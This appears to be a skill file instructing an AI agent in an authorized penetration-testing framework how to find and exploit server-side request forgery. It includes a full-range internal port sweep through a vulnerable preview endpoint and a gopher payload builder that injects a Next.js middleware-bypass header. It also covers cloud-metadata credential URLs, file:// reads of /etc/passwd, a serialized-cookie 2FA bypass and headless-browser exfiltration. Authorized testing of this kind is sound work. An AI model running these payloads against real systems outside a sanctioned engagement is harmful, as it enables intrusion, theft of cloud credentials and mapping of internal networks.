Hunt: SSRF (golden-image rework)
Turn a URL-input surface into evidence-carrying CANDIDATES for server-side request forgery: OOB-confirmed outbound fetches, scheme-control LFI, internal service access, cloud metadata, gopher raw-protocol chains. This skill produces candidates, never verdicts - findings leave ONLY through the G1 proof gate (triage).
Current emphasis (update on wiki harvest): localhost-hosted admin panels and internal service ports over cloud-metadata classics - models over-index on over-represented old methods; the newest harvested technique leads until superseded.
Assumes hunt-core for the scope gate, two-account rule,
confirmation gate, enumeration limits, stop conditions, wiki protocol,
FIND output, and Deadends. Do not re-derive any of that here.
Wiki
Hub: [[web-moc]] - Primary page: [[wiki/payloads/ssrf]] - Payload
arsenal: wiki/payloads/ssrf.md
Anchors: [[dns-rebinding]], [[open-redirect]],
[[werkzeug-debug-console-rce]]
REFS: [[wiki/payloads/ssrf]], wiki/payloads/ssrf.md
mcp__wiki-search__query (lex) "SSRF server-side request forgery cloud metadata" via wiki-search MCP - ONLY on a concrete hint the map above does not cover; not a blanket first step.
Shared bypass arsenal: hunt-ssrf/references/bypass-arsenal.md -
filter-bypass ladder (IP representations, r3dir, 1u.ms rebinding,
parser differentials), 2025-2026 IPv6 cloud-metadata endpoints
([fd00:ec2::254] IMDS / [fd00:ec2::23] EKS Pod Identity, unblocked by
169.254.169.254 denylists), IMDSv2 hop-limit + X-Forwarded-For quirks,
gopher->Redis RCE chain, and a defense->bypass map. Walk it whenever a
probe is blocked; rotate ONE representation per re-fire.
Paths (binding - define once at the top of the run notes)
# seat side (wsl) - engagement tree is DOUBLE-NESTED in VMshare:
ENG_DIR=/mnt/c/Users/Lenovo/Desktop/VMshare/<eng>/<eng>
RUN=$ENG_DIR/hunt/ssrf/<host>
# VM side (WHERE tools run, same tree through the VMware share):
ENG_DIR=/mnt/VMshare/<eng>/<eng>
RUN=$ENG_DIR/hunt/ssrf/<host>
Corpus and probes live in the VMshare tree; the VM runs tools against the /mnt/VMshare spelling as user tz; the seat reads the same bytes at the /mnt/c/Users/Lenovo/Desktop/VMshare spelling. The repo tree targets/ is admin/ingest only - probe artifacts NEVER land there.
Transport
Every VM-native command block ships through ONE documented transport:
wsl.exe -d kali-linux -u root bash -c "cd /mnt/c/Users/Lenovo/Documents/ObisidianVaults/ZTorch/ZTorch && bash scripts/vm-ssh.sh '<command>'"
- vm-ssh lands as user tz (NOT root): no root-only paths, no sudo.
- vm-ssh.sh takes the command as ONE argument. Commands containing
quotes ship as base64: write the script, then run
echo <b64> | base64 -d | bashinside the vm-ssh argument. - Non-login shells do NOT source profile.d: the PATH scope-shim is NOT active. Target-facing fetches MUST use the shim binaries by absolute path /opt/scope-shim/bin/{curl,httpx}.
- Shim verdict semantics (verified live): explicit out-of-scope host dies rc 126 (never work around it); in-scope passes; UNKNOWN hosts get an ADVISORY and the fetch proceeds - an advisory is NOT approval; verify against scope.md and self-deny anything not clearly in scope.
- Commands longer than ~2 minutes run DETACHED (bash scripts/vm-scan.sh '' or nohup + DONE-marker poll) - the direct bridge drops at ~2min and empty output then reads as a dead target. The full-range internal port sweep below is exactly such a command.
Entry gate
All four must pass before Step 1; each is falsifiable:
Active engagement exists (repo tree targets//active.md) and is on the targets//scope.md in-scope list. Scope-guard is the deny. (targets/ is the repo admin tree; $ENG_DIR holds corpus and run artifacts only - see Paths.)
hunt-core loaded (skills/exploit/hunt/hunt-core/SKILL.md - it owns scope gate, two-account rule, confirmation gate, enum limits; never restated here).
Producer verified - at least ONE of: (a) $ENG_DIR/state.md asset table has >= 1 URL-param/preview/ import endpoint row for ;
(b) $ENG_DIR/js//findings/endpoints.jsonl parses AND its manifest.sha256 sidecar passessha256sum -crun FROM that findings/ dir on the VM;
(c) the kickoff seeded $RUN/raw/sink-map.md. None = dispatch the surface lane first; never probe blind.Toolchain preflight (fails LOUD; interactsh probed, fatal only for the interactsh branch - Collaborator is the fallback):
for t in /usr/bin/jq /usr/bin/python3 \ /opt/scope-shim/bin/curl; do [ -x "$t" ] || { echo "MISSING TOOL: $t"; exit 1; } done [ -x /home/tz/go/bin/interactsh-client ] \ || { echo "MISSING TOOL: /home/tz/go/bin/interactsh-client (install: sudo -u tz env PATH=\$PATH:/usr/bin/go HOME=/home/tz go install github.com/projectdiscovery/interactsh/cmd/interactsh-client@v1.2.0) - or use Collaborator"; exit 1; }
Checklist (mandatory)
Copy checklist.md (this skill's dir) to
$ENG_DIR/hunt/ssrf/<host>/ssrf-checklist.md at run start. Tick boxes
as steps finish; unchecked at stop = UNCHECKED lane, re-run from the
first unchecked step. The SKILL.md text and the checklist header agree
byte-for-byte on that copy target.
Nudge
Review-skill re-injection text (pinned for vocabulary match; NOTE: the completion-gate script itself emits a different generic nudge - see scripts/completion-gate.py NUDGE - both strings mean the same thing: resume at the first unchecked box):
Your work was just reviewed by the review skill and it was found
that you either missed a step of analysis, or didn't generate an
artifact of sufficient proof. Look at the markdown based checklist
and the output for each step, find what you missed, and complete
that step.
On this nudge: resume at the FIRST unchecked box of $ENG_DIR/hunt/ssrf//ssrf-checklist.md - never restart the run from zero. REVIEW may only be ticked after every earlier box is ticked.
Confirmation gate (OOB-mandatory)
Blind SSRF claims require OOB confirmation. No exceptions.
NOT confirmation: URL echo in an error message, different status code, delayed response alone. IS confirmation: DNS lookup or HTTP request to your unique Collaborator/interactsh subdomain - i.e. the oob.md row flipped to HIT.
When you plant a blind/OOB SSRF payload, append a row to
targets//oob.md: | <token> | <sink url+param> | ssrf | <date> | waiting | | (columns: token | sink | class | planted | status |
source, where token = your unique Collaborator/interactsh label). The
recon-capture hook auto-correlates incoming callbacks to flip the row
to HIT and SessionStart surfaces HITs; a HIT row is the confirmation
gate to scaffold the FIND. Do NOT claim a blind SSRF without a HIT
row. Mirror the tokens under $RUN/raw/oob-tokens.md for the lane
ledger.
Setup OOB before testing (full channel guide: wiki oob-callbacks - DNS-vs-HTTP, self-hosted interactsh, DNS exfil):
/home/tz/go/bin/interactsh-client -v # or use Burp Collaborator
# Tag each sink: dlsrcurl.<collab>, import.<collab>, webhook.<collab>
Methodology
Rank before testing. High-value tech: Kubernetes (internal API), GCP/AWS/Azure (metadata), headless browsers (PDF/screenshot), link-preview features, file-import pipelines. Check SCHEME control EARLY (before grinding host/port bypasses).
Step 1 - Sink map
Every URL-input parameter across the target (?url ?uri ?src ?source
?feed ?host ?target ?dest ?redirect ?callback ?image ?fetch ?load
?endpoint; /api/*/preview|fetch|import|webhook|render). Row schema
endpoint | param | context | source:
{ \
echo "/api/1/preview | url | link-preview | state.md asset row"
echo "/import/feed | feed | file-import | js endpoints.jsonl"
} >> "$RUN"/raw/sink-map.md
N/A: no URL-input sinks found = whole-run skip, but record the search that proved it.
Step 2 - OOB setup (mandatory)
Listener live, one tagged subdomain PER sink. Plant the oob.md rows (targets//oob.md - the hook reads that path) and mirror tokens to $RUN/raw/oob-tokens.md.
Step 3 - Outbound confirm
Callback URL as the parameter value per sink; each attempt references its oob.md token. Wait for HIT before any blind claim.
Step 4 - Scheme control early
If the sink concatenates your input as a raw URL PREFIX with no hardcoded scheme (pycurl setopt(URL, server + '/path'), requests.get(host+path); tell: the default value has no http://), you control the scheme, not just the host -> try file:///etc/passwd and file:/// for a straight LFI, and gopher:// for internal TCP. The moment file:// reads a file, READ THE APP SOURCE FIRST - it reveals the real ports/auth/next-steps faster than any probing, and on Flask debug=True a file-read computes the console PIN -> RCE ([[werkzeug-debug-console-rce]]). Pointing the sink at your own listener leaks its outbound request headers (API keys/tokens). See [[wiki/payloads/ssrf]] "Scheme-controllable SSRF -> file:// LFI".
Step 5 - ENUMERATE INTERNAL FIRST (once outbound is confirmed)
An internal-only service is the usual SSRF objective and it is invisible to your external nmap - the SSRF is your only scanner. Before grinding cloud metadata or filter bypasses, sweep 127.0.0.1 ports THROUGH the sink and fingerprint everything that answers. Full-range sweep = long-running: run DETACHED through vm-scan.sh (see Transport):
export T=<target>
# non-empty / distinct body = open. Threaded -P 50. Under no_dos
# or a scan-rate cap in scope.md, probe the curated high-value
# port list in wiki/payloads/ssrf instead of blasting all 65535.
# Service discovery, NOT object enumeration - the hunt-core 5-20
# ceiling does not apply; the RoE cap does.
seq 1 65535 | xargs -P50 -I{} sh -c 'r=$(/opt/scope-shim/bin/curl -s -m3 "http://$T/preview.php?url=http://127.0.0.1:{}/"); [ -n "$r" ] && echo "OPEN {} len=${#r}"}' >> "$RUN"/probes/internal.md
Sweep wide. "Common ports only" misses the box: THM Extract hid its objective (a Next.js app) on internal :10000. A full-range sweep found it; a common-ports pass did not.
Step 6 - Fingerprint + playbook each internal service BY HAND
Run each internal service through playbook.json / the matching hunt skill exactly as if it were external (, Server / x-powered-by, /_next/static -> Next.js -> CVE-2025-29927, /solr, /actuator, Jenkins, GitLab...). recon-capture only fingerprints EXTERNAL tool output, so an SSRF-discovered app will NOT auto-fire the playbook - you must apply it by hand. This is exactly where internal CVEs get missed.
Step 7 - Cloud metadata
# AWS IMDSv1
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# GCP (requires Metadata-Flavor: Google)
http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
# Azure
http://169.254.169.254/metadata/instance?api-version=2021-02-01
Cloud metadata needs the IMDSv2 token step completed to count. The moment metadata is in reach, load hunt-cloud.
Step 8 - Redirect-based SSRF
Own redirect server (host you control, in scope) pointing to internal addresses - beats naive host allowlists.
Step 9 - Gopher: send what ?url= cannot
A plain ?url= fetch issues a fixed GET with no control over method/ headers/cookies/body. gopher://host:port/_ makes the sink open a raw TCP socket and send arbitrary bytes:
cat > /tmp/gopher.py <<'PY'
import urllib.parse, subprocess, os
T = os.environ["T"]
def gopher(raw: bytes, port: int):
sel = ''.join('%%%02X' % b for b in raw)
g = 'gopher://127.0.0.1:%d/_%s' % (port, sel)
return subprocess.run(['/opt/scope-shim/bin/curl', '-s', '-m', '10',
'http://%s/preview.php?url=%s' % (T, urllib.parse.quote(g, safe=''))],
capture_output=True).stdout
req = b'GET /admin HTTP/1.1\r
Host: 127.0.0.1\r x-middleware-subrequest: middleware\r Connection: close\r \r ' print(gopher(req, 10000)) PY T= python3 /tmp/gopher.py
Unlocks: custom headers for header-based CVEs (Next.js CVE-2025-29927 x-middleware-subrequest), HTTP Basic auth, POST logins, forged cookies (serialized-object / JWT swaps), and raw protocols (Redis / FastCGI / SMTP). Full send(method,path,headers,cookie,body) builder in [[wiki/payloads/ssrf]]. Gopher cannot read files - it is for TCP services, not file://.
Step 10 - Headless browser chains (N/A: no headless feature)
PDF/screenshot endpoints: inject fetch(...) - the browser context renders internal pages and exfiltrates their content.
Step 11 - Exit artifact (candidates)
Merge probe JSONLs (union, truncate+dedupe on endpoint+method+class; keys class|host|endpoint|method|evidence|confidence|next). Blind rows cite their oob.md HIT. candidates.md: human table + probe counts, EVERY class section present ("no hits" where true; a missing class section = failed lane). Pointer $ENG_DIR/hunt-ssrf-.md:
SSRF-HUNT-DONE outbound=<n> scheme=<n> internal=<n>
metadata=<n> redirect=<n> gopher=<n> headless=<n>
Plus: _requests.md rows (lane = hunt-ssrf), state.md asset rows (access=exploit-candidate, source=hunt-ssrf), Deadends rows with the WHY.
Every probe JSONL row: {class, host, endpoint, method, evidence (absolute probes/raw/ path), observed, confidence}. Every request/ response pair under $RUN/probes/raw/ (filename = sha256 of method+path+body).
Lessons (THM Extract, carried)
- The objective (a Next.js app) sat on internal :10000, reachable ONLY via the SSRF. Full-range internal sweep found it; common-ports did not. Sweep wide, sweep early.
- The win was a HEADER (x-middleware-subrequest) a ?url= GET cannot set -> delivered over gopher. When a known CVE needs a specific header/method/cookie, reach for the gopher builder, not a fancier ?url= value.
- An SSRF-reachable internal admin (localhost-only /management, Apache Require ip) IS in scope: HTTP Basic auth, a POST login, and a forged serialized-object cookie (PHP O:9:"AuthToken":... {validated;b:0} -> flip to b:1 = 2FA bypass) all rode the one gopher tunnel.
- server-status / access-log read via SSRF echoes YOUR OWN requests (gopher = 127.0.0.1, direct hits = your VPN IP). Filter your source IPs before treating a repeated request as a victim cron.
- File read stayed blocked (file:// / php:// / data:// keyword- filtered, case-insensitive) and the chain needed none. Don't grind source disclosure the chain doesn't require.
Validation
- Proof = OOB DNS/HTTP callback on a UNIQUE subdomain, or internal-service content in the response body. Follow redirects to the FINAL host before concluding scope; cloud metadata needs the IMDSv2 token step completed to count.
False Positives
- Callback fired by a security sandbox/AV fetcher pre-scanning your URL (correlate source IP + UA with the app's egress before claiming app-side fetch).
- 200 from an internal IP that is the app's own health check echoing 200 to everything.
- URL fetched but content rendered nowhere (fetch != impact; note severity).
- Internal mirror of a public site (same content, no privilege boundary crossed).
Cross-routing
- hunt-cloud the moment metadata is in reach (creds, IMDS chain).
- hunt-smuggling when the fetch path goes through a desync-able frontend.
- hunt-rce for gopher-style raw-protocol hits on exec services.
- Not this skill: open-redirect-only chains (hunt-xss/hunt-auth by impact).
Severity
Rated on what the SSRF actually reached:
- critical - cloud metadata credentials retrieved (IMDS role creds).
- high - internal service access (admin panel, Redis/etcd/k8s API, an internal app).
- medium - DNS-only OOB, no internal read.
Deadends
Append: - [ ] SSRF on <host> param <param> -- zero OOB callbacks,
URL echo only (server-side validation, not fetching)
Exhaustion is ~38 payloads with zero callbacks.
N/A escapes
- "N/A: interactsh absent on VM (install failed)" (use Collaborator; install line in preflight)
- "N/A: no headless feature"
- "N/A: no URL-input sinks found" An N/A tick is a claim with a reason, never a silent pass. Identical strings in SKILL.md and checklist.md.
Bitter-pill variant
When the kickoff designates this run freehand: skip the checklist copy and numbered steps, one freehand pass over the sink map, output lands ONLY in $RUN/analysis/bitter-pill.md (tried / found / dismissed, every claim carries file:line or request evidence). Never edits structured outputs. Proof gates still apply - freehand never skips proof, and the OOB-mandatory rule survives freehand. Declare with one _requests.md row (lane = hunt-ssrf-bitterpill) so completion-gate routes to this artifact contract instead of the checklist ledger.
Depth walk (mandatory)
Walk EVERY applicable row of the payload arsenal page cited above.
Record each row in $RUN/coverage-depth.md as a table
| row | state | evidence | where state is probed, blocked, or
N/A, and evidence is a probe-pair path or a Deadends.md line. A bare
probed with no evidence reference fails the completion gate
(NEEDS-REVIEW). N/A rows cite why (surface shape forbids it).
Blocked implies research: before any Deadend is claimable on a blocked
row, (a) walk the arsenal page's bypass-ladder rows for that control
class, and (b) run one wiki query AND one mcp__wigolo__search for the
specific tech-plus-control bypass. Results, or a genuine null, land in
coverage-depth.md. "No research tried" is not a claimable state.
Exit artifact + handoff
ONE exit artifact set: $RUN/candidates.jsonl (machine) +
candidates.md (human) + $ENG_DIR/hunt-ssrf-.md (pointer with
SSRF-HUNT-DONE + counts). The consumer (triage) finds at $RUN:
raw/sink-map.md, raw/oob-tokens.md, probes/.jsonl, probes/raw/,
candidates.{jsonl,md}. Findings leave ONLY through G1 (triage).
Distill confirmed GENERIC patterns: python3 scripts/wiki-stage.py --kind technique --slug <slug> --target-page techniques/web/ssrf.md.
After the sink map is final, import its sinks into the hunt feed:
write one JSON row per sink {"surface": "<endpoint|param>", "host": "<host>", "class_hint": "ssrf"} to $RUN/surfaces.jsonl,
then python3 scripts/surface_backlog.py <eng> import-jsonl $RUN/surfaces.jsonl --source hunt-ssrf.
Stop conditions
Terminal states complete (probed | N/A with reason | deadend row written), nothing written into skill dirs (skills/exploit/hunt/ hunt-ssrf/ stays untouched), no unchecked boxes above REVIEW. hunt-core stop conditions fire unchanged.
Attack surface
APPROACH: Set up OOB and confirm outbound first, then ENUMERATE INTERNAL - sweep 127.0.0.1 ports through the sink and fingerprint each service through the playbook before grinding cloud metadata; check scheme control early (file://->LFI, gopher://->internal TCP).
AVOID: A URL echo in an error, a different status code, or a delayed response alone is NOT SSRF - a blind SSRF is unproven until its oob.md row flips to HIT.